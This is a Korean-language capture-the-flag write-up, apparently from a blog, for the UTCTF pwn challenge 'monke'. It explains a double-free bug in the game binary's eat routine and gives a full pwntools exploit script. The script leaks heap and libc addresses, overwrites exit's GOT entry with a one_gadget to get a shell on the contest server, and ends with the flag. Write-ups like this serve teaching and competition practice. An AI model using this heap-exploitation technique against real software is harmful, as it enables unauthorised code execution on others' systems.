보호기법
64bit에 보호기법은 Partial RELRO, NX가 적용되어 있다.
바이너리 분석
기능은 별거 없다.
- walk
- sleep ⇒ exit(0)
- inventory
- (조건) take banana
세가지 기능이 있는데, walk를 누르면 동서남북으로 이동하게 해주고 rand() & 1
이 0이 아니면 4번 조건을 켜준다.
바나나를 주울 때는 길이와 바나나의 이름을 받고, inventory에 저장한다.
그리고 이 바나나는 inventory기능에서 eat하거나 rename을 통해 처리할 수 있게 된다.
취약점
취약점은 Double Free
가 발생한다.
위의 코드는 inventory에 들어있는 바나나를 eat할 때 실행되는 루틴이다.
여기서 free(*inverntory[v7])
를 진행하고나서 inventory[v7] = NULL
로 초기화하는데 can_eat을 0으로 맞춰줌에 따라 inventory[v7] = NULL
을 우회할 수 있다.
따라서 Double Free
가 발생하게 되고, 이것을 이용해서 got를 overwrite하면 된다.
can_eat는 위에서 맞출 수 있는데, 우리가 walk기능을 선택했을 때 이론상 [n|s|e|w]만 움직일 수 있게 하지만 이거와 다른 방향을 누르게 되면 0으로 맞출 수 있게 된다.
나는 그냥 'z' 넘겨줬다.
Exploit code
Double free
가 되는 것을 알았으니 got를 overwrite해서 shell을 얻어보자.
from pwn import *
def init():
p.send("0\nz\n")
def inventory_spray():
for i in range(2):
p.sendline("3\n%d\n%s"%(0x10, "AAAAAAAA"))
for i in range(2):
p.sendline("3\n%d\n%s"%(0x500, "AAAAAAAA"))
one = [0x4f3d5, 0x4f432, 0x10a41c]
exit_got = 0x602058
server = 1
if server:
p = remote("pwn.utctf.live", 9999)
else:
p = process("./monke")
# for eat_cnt == 0
init()
# find banana <- random?
p.send("0\nn\n")
inventory_spray()
for i in range(4):
p.send("2\n%d\neat\n"%i)
p.recv()
p.sendline("2")
# server buffering...
if server:
p.recvuntil("You are in a field with a banana on the ground.\n")
p.recvuntil("You are in a field with a banana on the ground.\n")
p.recvuntil("Pick an item.\n")
# actually, heap address isn't necessary
p.recvuntil("1: ")
heap_base = u64(p.recvline().strip().ljust(8,b'\x00')) - 0x16a0
print("[*] heap_base : " + hex(heap_base))
# libc_leak
p.recvuntil("2: ")
libc_base = u64(p.recvline().strip().ljust(8,b'\x00')) - 0x3ebca0
og = libc_base + one[1]
print("[*] libc_base : " + hex(libc_base))
print("[*] one_gadget : " + hex(og))
p.send("1\nrename\n")
p.sendline(p64(exit_got))
# 0x20 [ 2]: 0xac76e0 —▸ 0x602058 (_GLOBAL_OFFSET_TABLE_+88)
p.send("3\n16\n") # malloc(0x10) -> 0xac76e0
p.sendline(p64(og)) # malloc(16) -> 0x602058 <- one_gadget
p.sendline("1") # sleep -> exit(0) -> call one_gadget
p.interactive()
Flag
Flag : utflag{m0nk3y_m0nk3y}
Uploaded by Notion2Tistory v1.1.0